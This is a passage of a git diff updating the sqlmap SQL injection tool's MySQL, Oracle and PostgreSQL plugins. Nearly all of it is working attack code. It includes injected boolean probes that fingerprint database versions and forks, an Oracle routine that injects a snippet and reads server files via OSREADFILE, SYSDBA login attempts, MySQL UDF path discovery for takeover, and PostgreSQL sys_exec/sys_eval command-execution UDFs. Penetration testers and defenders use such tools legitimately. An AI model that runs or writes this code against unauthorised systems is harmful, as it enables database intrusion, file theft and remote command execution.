8.1 + (80000, 80043), # MySQL 8.0 + (60000, 60014), # MySQL 6.0 + (50700, 50745), # MySQL 5.7 + (50600, 50652), # MySQL 5.6 + (50500, 50563), # MySQL 5.5 + (50400, 50404), # MySQL 5.4 + (50100, 50174), # MySQL 5.1 + (50000, 50097), # MySQL 5.0 + (40100, 40131), # MySQL 4.1 + (40000, 40032), # MySQL 4.0 + (32300, 32359), # MySQL 3.23 + (32200, 32235), # MySQL 3.22 + ) + + found = False + for candidate in versions: + result = inject.checkBooleanExpression("[RANDNUM]=[RANDNUM]/*!%d AND [RANDNUM1]=[RANDNUM2]*/" % candidate[0]) - if index >= 0: - prevVer = None + if not result: + found = True + break - for version in xrange(versions[index][0], versions[index][1] + 1): + if found: + for version in xrange(candidate[1], candidate[0] - 1, -1): version = getUnicode(version) result = inject.checkBooleanExpression("[RANDNUM]=[RANDNUM]/*!%s AND [RANDNUM1]=[RANDNUM2]*/" % version) - if result: - if not prevVer: - prevVer = version - + if not result: if version[0] == "3": - midVer = prevVer[1:3] + midVer = version[1:3] else: - midVer = prevVer[2] + midVer = version[2] - trueVer = "%s.%s.%s" % (prevVer[0], midVer, prevVer[3:]) + trueVer = "%s.%s.%s" % (version[0], midVer, version[3:]) return trueVer - prevVer = version - return None def getFingerprint(self): + fork = hashDBRetrieve(HASHDB_KEYS.DBMS_FORK) + + if fork is None: + if inject.checkBooleanExpression("VERSION() LIKE '%MariaDB%'"): + fork = FORK.MARIADB + elif inject.checkBooleanExpression("VERSION() LIKE '%TiDB%'"): + fork = FORK.TIDB + elif inject.checkBooleanExpression("@@VERSION_COMMENT LIKE '%drizzle%'"): + fork = FORK.DRIZZLE + elif inject.checkBooleanExpression("@@VERSION_COMMENT LIKE '%Percona%'"): + fork = FORK.PERCONA + elif inject.checkBooleanExpression("@@VERSION_COMMENT LIKE '%Doris%'"): + fork = FORK.DORIS + elif inject.checkBooleanExpression("@@VERSION_COMMENT LIKE '%StarRocks%'"): + fork = FORK.STARROCKS + elif inject.checkBooleanExpression("AURORA_VERSION() LIKE '%'"): # Reference: https://aws.amazon.com/premiumsupport/knowledge-center/aurora-version-number/ + fork = FORK.AURORA + else: + fork = "" + + hashDBWrite(HASHDB_KEYS.DBMS_FORK, fork) + value = "" wsOsFp = Format.getOs("web server", kb.headersFp) - if wsOsFp and not hasattr(conf, "api"): + if wsOsFp and not conf.api: value += "%s\n" % wsOsFp if kb.data.banner: dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) - if dbmsOsFp and not hasattr(conf, "api"): + if dbmsOsFp and not conf.api: value += "%s\n" % dbmsOsFp value += "back-end DBMS: " @@ -105,6 +135,8 @@ def getFingerprint(self): if not conf.extensiveFp: value += actVer + if fork: + value += " (%s fork)" % fork return value comVer = self._commentCheck() @@ -116,19 +148,23 @@ def getFingerprint(self): value += "\n%scomment injection fingerprint: %s" % (blank, comVer) if kb.bannerFp: - banVer = kb.bannerFp["dbmsVersion"] if "dbmsVersion" in kb.bannerFp else None + banVer = kb.bannerFp.get("dbmsVersion") - if banVer and re.search("-log$", kb.data.banner): - banVer += ", logging enabled" + if banVer: + if banVer and re.search(r"-log$", kb.data.banner or ""): + banVer += ", logging enabled" - banVer = Format.getDbms([banVer] if banVer else None) - value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + banVer = Format.getDbms([banVer]) + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) htmlErrorFp = Format.getErrorParsedDBMSes() if htmlErrorFp: value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) + if fork: + value += "\n%sfork fingerprint: %s" % (blank, fork) + return value def checkDbms(self): @@ -142,20 +178,11 @@ def checkDbms(self): * http://dev.mysql.com/doc/refman/6.0/en/news-6-0-x.html (manual has been withdrawn) """ - if not conf.extensiveFp and (Backend.isDbmsWithin(MYSQL_ALIASES) \ - or (conf.dbms or "").lower() in MYSQL_ALIASES) and Backend.getVersion() and \ - Backend.getVersion() != UNKNOWN_DBMS_VERSION: - v = Backend.getVersion().replace(">", "") - v = v.replace("=", "") - v = v.replace(" ", "") - - Backend.setVersion(v) - + if not conf.extensiveFp and Backend.isDbmsWithin(MYSQL_ALIASES): setDbms("%s %s" % (DBMS.MYSQL, Backend.getVersion())) - if Backend.isVersionGreaterOrEqualThan("5"): + if Backend.isVersionGreaterOrEqualThan("5") or inject.checkBooleanExpression("DATABASE() LIKE SCHEMA()"): kb.data.has_information_schema = True - self.getBanner() return True @@ -163,26 +190,46 @@ def checkDbms(self): infoMsg = "testing %s" % DBMS.MYSQL logger.info(infoMsg) - result = inject.checkBooleanExpression("QUARTER(NULL) IS NULL") + result = inject.checkBooleanExpression("IFNULL(QUARTER(NULL),NULL XOR NULL) IS NULL") if result: infoMsg = "confirming %s" % DBMS.MYSQL logger.info(infoMsg) - result = inject.checkBooleanExpression("SESSION_USER() LIKE USER()") + result = inject.checkBooleanExpression("COALESCE(SESSION_USER(),USER()) IS NOT NULL") + + if not result: + # Note: MemSQL doesn't support SESSION_USER() + result = inject.checkBooleanExpression("GEOGRAPHY_AREA(NULL) IS NULL") + + if result: + hashDBWrite(HASHDB_KEYS.DBMS_FORK, FORK.MEMSQL) if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.MYSQL - logger.warn(warnMsg) + logger.warning(warnMsg) return False # reading information_schema on some platforms is causing annoying timeout exits # Reference: http://bugs.mysql.com/bug.php?id=15855 + kb.data.has_information_schema = True + + # Determine if it is MySQL >= 9.0.0 + if inject.checkBooleanExpression("ISNULL(VECTOR_DIM(NULL))"): + Backend.setVersion(">= 9.0.0") + setDbms("%s 9" % DBMS.MYSQL) + self.getBanner() + + # Determine if it is MySQL >= 8.0.0 + elif inject.checkBooleanExpression("ISNULL(JSON_STORAGE_FREE(NULL))"): + Backend.setVersion(">= 8.0.0") + setDbms("%s 8" % DBMS.MYSQL) + self.getBanner() + # Determine if it is MySQL >= 5.0.0 - if inject.checkBooleanExpression("ISNULL(TIMESTAMPADD(MINUTE,[RANDNUM],NULL))"): - kb.data.has_information_schema = True + elif inject.checkBooleanExpression("ISNULL(TIMESTAMPADD(MINUTE,[RANDNUM],NULL))"): Backend.setVersion(">= 5.0.0") setDbms("%s 5" % DBMS.MYSQL) self.getBanner() @@ -193,9 +240,17 @@ def checkDbms(self): infoMsg = "actively fingerprinting %s" % DBMS.MYSQL logger.info(infoMsg) - # Check if it is MySQL >= 5.5.0 - if inject.checkBooleanExpression("TO_SECONDS(950501)>0"): - Backend.setVersion(">= 5.5.0") + # Check if it is MySQL >= 5.7 + if inject.checkBooleanExpression("ISNULL(JSON_QUOTE(NULL))"): + Backend.setVersion(">= 5.7") + + # Check if it is MySQL >= 5.6 + elif inject.checkBooleanExpression("ISNULL(VALIDATE_PASSWORD_STRENGTH(NULL))"): + Backend.setVersion(">= 5.6") + + # Check if it is MySQL >= 5.5 + elif inject.checkBooleanExpression("TO_SECONDS(950501)>0"): + Backend.setVersion(">= 5.5") # Check if it is MySQL >= 5.1.2 and < 5.5.0 elif inject.checkBooleanExpression("@@table_open_cache=@@table_open_cache"): @@ -234,6 +289,8 @@ def checkDbms(self): setDbms("%s 4" % DBMS.MYSQL) self.getBanner() + kb.data.has_information_schema = False + if not conf.extensiveFp: return True @@ -256,10 +313,12 @@ def checkDbms(self): setDbms("%s 3" % DBMS.MYSQL) self.getBanner() + kb.data.has_information_schema = False + return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.MYSQL - logger.warn(warnMsg) + logger.warning(warnMsg) return False diff --git a/plugins/dbms/mysql/syntax.py b/plugins/dbms/mysql/syntax.py index e593a51fbb2..fefe4d88b1a 100644 --- a/plugins/dbms/mysql/syntax.py +++ b/plugins/dbms/mysql/syntax.py @@ -1,32 +1,31 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ import binascii -from lib.core.convert import utf8encode +from lib.core.convert import getBytes +from lib.core.convert import getOrds +from lib.core.convert import getUnicode from plugins.generic.syntax import Syntax as GenericSyntax class Syntax(GenericSyntax): - def __init__(self): - GenericSyntax.__init__(self) - @staticmethod def escape(expression, quote=True): """ - >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") - 'SELECT 0x6162636465666768 FROM foobar' + >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT 0x6162636465666768 FROM foobar" + True + >>> Syntax.escape(u"SELECT 'abcd\xebfgh' FROM foobar") == "SELECT CONVERT(0x61626364c3ab666768 USING utf8) FROM foobar" + True """ def escaper(value): - retVal = None - try: - retVal = "0x%s" % binascii.hexlify(value) - except UnicodeEncodeError: - retVal = "CONVERT(0x%s USING utf8)" % "".join("%.2x" % ord(_) for _ in utf8encode(value)) - return retVal + if all(_ < 128 for _ in getOrds(value)): + return "0x%s" % getUnicode(binascii.hexlify(getBytes(value))) + else: + return "CONVERT(0x%s USING utf8)" % getUnicode(binascii.hexlify(getBytes(value, "utf8"))) return Syntax._escape(expression, quote, escaper) diff --git a/plugins/dbms/mysql/takeover.py b/plugins/dbms/mysql/takeover.py index 8d132fb6020..81851506412 100644 --- a/plugins/dbms/mysql/takeover.py +++ b/plugins/dbms/mysql/takeover.py @@ -1,21 +1,22 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ import os -import re from lib.core.agent import agent from lib.core.common import Backend from lib.core.common import decloakToTemp from lib.core.common import isStackingAvailable +from lib.core.common import isWindowsDriveLetterPath from lib.core.common import normalizePath from lib.core.common import ntToPosixSlashes from lib.core.common import randomStr from lib.core.common import unArrayizeValue +from lib.core.compat import LooseVersion from lib.core.data import kb from lib.core.data import logger from lib.core.data import paths @@ -37,19 +38,19 @@ def udfSetRemotePath(self): banVer = kb.bannerFp["dbmsVersion"] - if banVer >= "5.0.67": + if banVer and LooseVersion(banVer) >= LooseVersion("5.0.67"): if self.__plugindir is None: logger.info("retrieving MySQL plugin directory absolute path") self.__plugindir = unArrayizeValue(inject.getValue("SELECT @@plugin_dir")) # On MySQL 5.1 >= 5.1.19 and on any version of MySQL 6.0 - if self.__plugindir is None and banVer >= "5.1.19": + if self.__plugindir is None and LooseVersion(banVer) >= LooseVersion("5.1.19"): logger.info("retrieving MySQL base directory absolute path") # Reference: http://dev.mysql.com/doc/refman/5.1/en/server-options.html#option_mysqld_basedir self.__basedir = unArrayizeValue(inject.getValue("SELECT @@basedir")) - if re.search("^[\w]\:[\/\\\\]+", (self.__basedir or ""), re.I): + if isWindowsDriveLetterPath(self.__basedir or ""): Backend.setOs(OS.WINDOWS) else: Backend.setOs(OS.LINUX) @@ -60,21 +61,21 @@ def udfSetRemotePath(self): else: self.__plugindir = "%s/lib/mysql/plugin" % self.__basedir - self.__plugindir = ntToPosixSlashes(normalizePath(self.__plugindir)) + self.__plugindir = ntToPosixSlashes(normalizePath(self.__plugindir)) or '.' self.udfRemoteFile = "%s/%s.%s" % (self.__plugindir, self.udfSharedLibName, self.udfSharedLibExt) # On MySQL 4.1 < 4.1.25 and on MySQL 4.1 >= 4.1.25 with NO plugin_dir set in my.ini configuration file # On MySQL 5.0 < 5.0.67 and on MySQL 5.0 >= 5.0.67 with NO plugin_dir set in my.ini configuration file else: - #logger.debug("retrieving MySQL data directory absolute path") + # logger.debug("retrieving MySQL data directory absolute path") # Reference: http://dev.mysql.com/doc/refman/5.1/en/server-options.html#option_mysqld_datadir - #self.__datadir = inject.getValue("SELECT @@datadir") + # self.__datadir = inject.getValue("SELECT @@datadir") # NOTE: specifying the relative path as './udf.dll' # saves in @@datadir on both MySQL 4.1 and MySQL 5.0 - self.__datadir = "." + self.__datadir = '.' self.__datadir = ntToPosixSlashes(normalizePath(self.__datadir)) # The DLL can be in either C:\WINDOWS, C:\WINDOWS\system, diff --git a/plugins/dbms/oracle/__init__.py b/plugins/dbms/oracle/__init__.py index 165f9270276..cedb15250e4 100644 --- a/plugins/dbms/oracle/__init__.py +++ b/plugins/dbms/oracle/__init__.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ from lib.core.enums import DBMS @@ -23,11 +23,7 @@ class OracleMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Tak def __init__(self): self.excludeDbsList = ORACLE_SYSTEM_DBS - Syntax.__init__(self) - Fingerprint.__init__(self) - Enumeration.__init__(self) - Filesystem.__init__(self) - Miscellaneous.__init__(self) - Takeover.__init__(self) + for cls in self.__class__.__bases__: + cls.__init__(self) unescaper[DBMS.ORACLE] = Syntax.escape diff --git a/plugins/dbms/oracle/connector.py b/plugins/dbms/oracle/connector.py index 3777689f4e2..550a413055c 100644 --- a/plugins/dbms/oracle/connector.py +++ b/plugins/dbms/oracle/connector.py @@ -1,19 +1,20 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ try: - import cx_Oracle + import oracledb except ImportError: pass import logging import os -from lib.core.convert import utf8encode +from lib.core.common import getSafeExString +from lib.core.convert import getText from lib.core.data import conf from lib.core.data import logger from lib.core.exception import SqlmapConnectionException @@ -23,30 +24,35 @@ class Connector(GenericConnector): """ - Homepage: http://cx-oracle.sourceforge.net/ - User guide: http://cx-oracle.sourceforge.net/README.txt - API: http://cx-oracle.sourceforge.net/html/index.html - License: http://cx-oracle.sourceforge.net/LICENSE.txt + Homepage: https://oracle.github.io/python-oracledb/ + User: https://python-oracledb.readthedocs.io/en/latest/ + License: https://github.com/oracle/python-oracledb/blob/main/LICENSE.txt """ - def __init__(self): - GenericConnector.__init__(self) - def connect(self): self.initConnection() - self.__dsn = cx_Oracle.makedsn(self.hostname, self.port, self.db) - self.__dsn = utf8encode(self.__dsn) - self.user = utf8encode(self.user) - self.password = utf8encode(self.password) + # Fetch CLOB/BLOB values directly as str/bytes instead of oracledb.LOB objects; otherwise a LOB cell + # reached the renderer as the repr '<oracledb.LOB object at 0x...>' (BLOB bytes are then hex-encoded + # by direct()'s binary handling). try: - self.connector = cx_Oracle.connect(dsn=self.__dsn, user=self.user, password=self.password, mode=cx_Oracle.SYSDBA) + oracledb.defaults.fetch_lobs = False + except AttributeError: + pass + + self.user = getText(self.user) + self.password = getText(self.password) + + try: + dsn = oracledb.makedsn(self.hostname, self.port, service_name=self.db) + self.connector = oracledb.connect(user=self.user, password=self.password, dsn=dsn, mode=oracledb.AUTH_MODE_SYSDBA) logger.info("successfully connected as SYSDBA") - except (cx_Oracle.OperationalError, cx_Oracle.DatabaseError, cx_Oracle.InterfaceError): + except oracledb.DatabaseError: + # Try again without SYSDBA try: - self.connector = cx_Oracle.connect(dsn=self.__dsn, user=self.user, password=self.password) - except (cx_Oracle.OperationalError, cx_Oracle.DatabaseError, cx_Oracle.InterfaceError), msg: - raise SqlmapConnectionException(msg) + self.connector = oracledb.connect(user=self.user, password=self.password, dsn=dsn) + except oracledb.DatabaseError as ex: + raise SqlmapConnectionException(ex) self.initCursor() self.printConnected() @@ -54,21 +60,20 @@ def connect(self): def fetchall(self): try: return self.cursor.fetchall() - except cx_Oracle.InterfaceError, msg: - logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg) + except oracledb.InterfaceError as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) '%s'" % getSafeExString(ex)) return None def execute(self, query): retVal = False try: - self.cursor.execute(utf8encode(query)) + self.cursor.execute(getText(query)) retVal = True - except cx_Oracle.DatabaseError, msg: - logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg) + except oracledb.DatabaseError as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) '%s'" % getSafeExString(ex)) self.connector.commit() - return retVal def select(self, query): diff --git a/plugins/dbms/oracle/enumeration.py b/plugins/dbms/oracle/enumeration.py index b9318d17f94..96b1a262cd2 100644 --- a/plugins/dbms/oracle/enumeration.py +++ b/plugins/dbms/oracle/enumeration.py @@ -1,38 +1,37 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ -from lib.core.common import Backend from lib.core.common import getLimitRange from lib.core.common import isAdminFromPrivileges from lib.core.common import isInferenceAvailable from lib.core.common import isNoneValue from lib.core.common import isNumPosStrValue from lib.core.common import isTechniqueAvailable +from lib.core.compat import xrange from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import queries from lib.core.enums import CHARSET_TYPE +from lib.core.enums import DBMS from lib.core.enums import EXPECTED from lib.core.enums import PAYLOAD from lib.core.exception import SqlmapNoneDataException +from lib.core.settings import CURRENT_USER from lib.request import inject from plugins.generic.enumeration import Enumeration as GenericEnumeration class Enumeration(GenericEnumeration): - def __init__(self): - GenericEnumeration.__init__(self) - def getRoles(self, query2=False): infoMsg = "fetching database users roles" - rootQuery = queries[Backend.getIdentifiedDbms()].roles + rootQuery = queries[DBMS.ORACLE].roles - if conf.user == "CU": + if conf.user == CURRENT_USER: infoMsg += " for current user" conf.user = self.getCurrentUser() @@ -50,14 +49,14 @@ def getRoles(self, query2=False): condition = rootQuery.inband.condition if conf.user: - users = conf.user.split(",") + users = conf.user.split(',') query += " WHERE " query += " OR ".join("%s = '%s'" % (condition, user) for user in sorted(users)) values = inject.getValue(query, blind=False, time=False) if not values and not query2: - infoMsg = "trying with table USER_ROLE_PRIVS" + infoMsg = "trying with table 'USER_ROLE_PRIVS'" logger.info(infoMsg) return self.getRoles(query2=True) @@ -67,7 +66,7 @@ def getRoles(self, query2=False): user = None roles = set() - for count in xrange(0, len(value)): + for count in xrange(0, len(value or [])): # The first column is always the username if count == 0: user = value[count] @@ -86,7 +85,7 @@ def getRoles(self, query2=False): if not kb.data.cachedUsersRoles and isInferenceAvailable() and not conf.direct: if conf.user: - users = conf.user.split(",") + users = conf.user.split(',') else: if not len(kb.data.cachedUsers): users = self.getUsers() @@ -118,14 +117,14 @@ def getRoles(self, query2=False): if not isNumPosStrValue(count): if count != 0 and not query2: - infoMsg = "trying with table USER_SYS_PRIVS" + infoMsg = "trying with table 'USER_SYS_PRIVS'" logger.info(infoMsg) return self.getPrivileges(query2=True) warnMsg = "unable to retrieve the number of " warnMsg += "roles for user '%s'" % user - logger.warn(warnMsg) + logger.warning(warnMsg) continue infoMsg = "fetching roles for user '%s'" % user @@ -150,7 +149,7 @@ def getRoles(self, query2=False): else: warnMsg = "unable to retrieve the roles " warnMsg += "for user '%s'" % user - logger.warn(warnMsg) + logger.warning(warnMsg) retrievedUsers.add(user) diff --git a/plugins/dbms/oracle/filesystem.py b/plugins/dbms/oracle/filesystem.py index 0428e3fdbf6..258a79147cb 100644 --- a/plugins/dbms/oracle/filesystem.py +++ b/plugins/dbms/oracle/filesystem.py @@ -1,23 +1,58 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ +from lib.core.agent import agent +from lib.core.common import dataToOutFile +from lib.core.common import decodeDbmsHexValue +from lib.core.common import getSQLSnippet +from lib.core.common import isNoneValue +from lib.core.data import kb +from lib.core.data import logger +from lib.core.enums import CHARSET_TYPE +from lib.core.enums import DBMS from lib.core.exception import SqlmapUnsupportedFeatureException +from lib.request import inject +from lib.request.connect import Connect as Request from plugins.generic.filesystem import Filesystem as GenericFilesystem class Filesystem(GenericFilesystem): - def __init__(self): - GenericFilesystem.__init__(self) + def readFile(self, remoteFile): + localFilePaths = [] + snippet = getSQLSnippet(DBMS.ORACLE, "read_file_export_extension") - def readFile(self, rFile): - errMsg = "File system read access not yet implemented for " - errMsg += "Oracle" - raise SqlmapUnsupportedFeatureException(errMsg) + for query in snippet.split("\n"): + query = query.strip() + query = agent.prefixQuery("OR (%s) IS NULL" % query) + query = agent.suffixQuery(query, trimEmpty=False) + payload = agent.payload(newValue=query) + Request.queryPage(payload, content=False, raise404=False, silent=True, noteResponseTime=False) + + if not kb.bruteMode: + infoMsg = "fetching file: '%s'" % remoteFile + logger.info(infoMsg) + + kb.fileReadMode = True + fileContent = inject.getValue("SELECT RAWTOHEX(OSREADFILE('%s')) FROM DUAL" % remoteFile, charsetType=CHARSET_TYPE.HEXADECIMAL) + kb.fileReadMode = False + + if not isNoneValue(fileContent): + fileContent = decodeDbmsHexValue(fileContent, True) + + if fileContent.strip(): + localFilePath = dataToOutFile(remoteFile, fileContent) + localFilePaths.append(localFilePath) + + elif not kb.bruteMode: + errMsg = "no data retrieved" + logger.error(errMsg) + + return localFilePaths - def writeFile(self, wFile, dFile, fileType=None, forceCheck=False): + def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): errMsg = "File system write access not yet implemented for " errMsg += "Oracle" raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/oracle/fingerprint.py b/plugins/dbms/oracle/fingerprint.py index 4b56b312270..5eacf432461 100644 --- a/plugins/dbms/oracle/fingerprint.py +++ b/plugins/dbms/oracle/fingerprint.py @@ -1,18 +1,22 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ import re from lib.core.common import Backend from lib.core.common import Format +from lib.core.common import hashDBRetrieve +from lib.core.common import hashDBWrite from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.enums import DBMS +from lib.core.enums import FORK +from lib.core.enums import HASHDB_KEYS from lib.core.session import setDbms from lib.core.settings import ORACLE_ALIASES from lib.request import inject @@ -23,6 +27,16 @@ def __init__(self): GenericFingerprint.__init__(self, DBMS.ORACLE) def getFingerprint(self): + fork = hashDBRetrieve(HASHDB_KEYS.DBMS_FORK) + + if fork is None: + if inject.checkBooleanExpression("NULL_EQU(NULL,NULL)=1"): + fork = FORK.DM8 + else: + fork = "" + + hashDBWrite(HASHDB_KEYS.DBMS_FORK, fork) + value = "" wsOsFp = Format.getOs("web server", kb.headersFp) @@ -39,6 +53,8 @@ def getFingerprint(self): if not conf.extensiveFp: value += DBMS.ORACLE + if fork: + value += " (%s fork)" % fork return value actVer = Format.getDbms() @@ -46,19 +62,24 @@ def getFingerprint(self): value += "active fingerprint: %s" % actVer if kb.bannerFp: - banVer = kb.bannerFp["dbmsVersion"] if 'dbmsVersion' in kb.bannerFp else None - banVer = Format.getDbms([banVer]) - value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + banVer = kb.bannerFp.get("dbmsVersion") + + if banVer: + banVer = Format.getDbms([banVer]) + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) htmlErrorFp = Format.getErrorParsedDBMSes() if htmlErrorFp: value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) + if fork: + value += "\n%sfork fingerprint: %s" % (blank, fork) + return value def checkDbms(self): - if not conf.extensiveFp and (Backend.isDbmsWithin(ORACLE_ALIASES) or (conf.dbms or "").lower() in ORACLE_ALIASES): + if not conf.extensiveFp and Backend.isDbmsWithin(ORACLE_ALIASES): setDbms(DBMS.ORACLE) self.getBanner() @@ -68,27 +89,27 @@ def checkDbms(self): infoMsg = "testing %s" % DBMS.ORACLE logger.info(infoMsg) - # NOTE: SELECT ROWNUM=ROWNUM FROM DUAL does not work connecting - # directly to the Oracle database + # NOTE: SELECT LENGTH(SYSDATE)=LENGTH(SYSDATE) FROM DUAL does + # not work connecting directly to the Oracle database if conf.direct: result = True else: - result = inject.checkBooleanExpression("ROWNUM=ROWNUM") + result = inject.checkBooleanExpression("LENGTH(SYSDATE)=LENGTH(SYSDATE)") if result: infoMsg = "confirming %s" % DBMS.ORACLE logger.info(infoMsg) - # NOTE: SELECT LENGTH(SYSDATE)=LENGTH(SYSDATE) FROM DUAL does + # NOTE: SELECT NVL(RAWTOHEX([RANDNUM1]),[RANDNUM1])=RAWTOHEX([RANDNUM1]) FROM DUAL does # not work connecting directly to the Oracle database if conf.direct: result = True else: - result = inject.checkBooleanExpression("LENGTH(SYSDATE)=LENGTH(SYSDATE)") + result = inject.checkBooleanExpression("NVL(RAWTOHEX([RANDNUM1]),[RANDNUM1])=RAWTOHEX([RANDNUM1])") if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.ORACLE - logger.warn(warnMsg) + logger.warning(warnMsg) return False @@ -102,8 +123,9 @@ def checkDbms(self): infoMsg = "actively fingerprinting %s" % DBMS.ORACLE logger.info(infoMsg) - for version in ("11i", "10g", "9i", "8i"): - number = int(re.search("([\d]+)", version).group(1)) + # Reference: https://en.wikipedia.org/wiki/Oracle_Database + for version in ("23c", "21c", "19c", "18c", "12c", "11g", "10g", "9i", "8i", "7"): + number = int(re.search(r"([\d]+)", version).group(1)) output = inject.checkBooleanExpression("%d=(SELECT SUBSTR((VERSION),1,%d) FROM SYS.PRODUCT_COMPONENT_VERSION WHERE ROWNUM=1)" % (number, 1 if number < 10 else 2)) if output: @@ -113,7 +135,7 @@ def checkDbms(self): return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.ORACLE - logger.warn(warnMsg) + logger.warning(warnMsg) return False diff --git a/plugins/dbms/oracle/syntax.py b/plugins/dbms/oracle/syntax.py index 41d2e9df53e..ef06da6c83b 100644 --- a/plugins/dbms/oracle/syntax.py +++ b/plugins/dbms/oracle/syntax.py @@ -1,24 +1,26 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ +from lib.core.convert import getOrds from plugins.generic.syntax import Syntax as GenericSyntax class Syntax(GenericSyntax): - def __init__(self): - GenericSyntax.__init__(self) - @staticmethod def escape(expression, quote=True): """ - >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") - 'SELECT CHR(97)||CHR(98)||CHR(99)||CHR(100)||CHR(101)||CHR(102)||CHR(103)||CHR(104) FROM foobar' + >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT CHR(97)||CHR(98)||CHR(99)||CHR(100)||CHR(101)||CHR(102)||CHR(103)||CHR(104) FROM foobar" + True + >>> Syntax.escape(u"SELECT 'abcd\xebfgh' FROM foobar") == "SELECT CHR(97)||CHR(98)||CHR(99)||CHR(100)||NCHR(235)||CHR(102)||CHR(103)||CHR(104) FROM foobar" + True + >>> Syntax.escape("SELECT 'a''b' FROM DUAL") == "SELECT CHR(97)||CHR(39)||CHR(98) FROM DUAL" + True """ def escaper(value): - return "||".join("%s(%d)" % ("CHR" if ord(value[i]) < 256 else "NCHR", ord(value[i])) for i in xrange(len(value))) + return "||".join("%s(%d)" % ("CHR" if _ < 128 else "NCHR", _) for _ in getOrds(value)) return Syntax._escape(expression, quote, escaper) diff --git a/plugins/dbms/oracle/takeover.py b/plugins/dbms/oracle/takeover.py index 1781cd9e019..6bc5cd16a24 100644 --- a/plugins/dbms/oracle/takeover.py +++ b/plugins/dbms/oracle/takeover.py @@ -1,17 +1,14 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.takeover import Takeover as GenericTakeover class Takeover(GenericTakeover): - def __init__(self): - GenericTakeover.__init__(self) - def osCmd(self): errMsg = "Operating system command execution functionality not " errMsg += "yet implemented for Oracle" diff --git a/plugins/dbms/postgresql/__init__.py b/plugins/dbms/postgresql/__init__.py index 561b13572c7..68ea7cb1f7c 100644 --- a/plugins/dbms/postgresql/__init__.py +++ b/plugins/dbms/postgresql/__init__.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ from lib.core.enums import DBMS @@ -23,18 +23,14 @@ class PostgreSQLMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, def __init__(self): self.excludeDbsList = PGSQL_SYSTEM_DBS self.sysUdfs = { - # UDF name: UDF parameters' input data-type and return data-type - "sys_exec": { "input": ["text"], "return": "int4" }, - "sys_eval": { "input": ["text"], "return": "text" }, - "sys_bineval": { "input": ["text"], "return": "int4" }, - "sys_fileread": { "input": ["text"], "return": "text" } - } + # UDF name: UDF parameters' input data-type and return data-type + "sys_exec": {"input": ["text"], "return": "int4"}, + "sys_eval": {"input": ["text"], "return": "text"}, + "sys_bineval": {"input": ["text"], "return": "int4"}, + "sys_fileread": {"input": ["text"], "return": "text"} + } - Syntax.__init__(self) - Fingerprint.__init__(self) - Enumeration.__init__(self) - Filesystem.__init__(self) - Miscellaneous.__init__(self) - Takeover.__init__(self) + for cls in 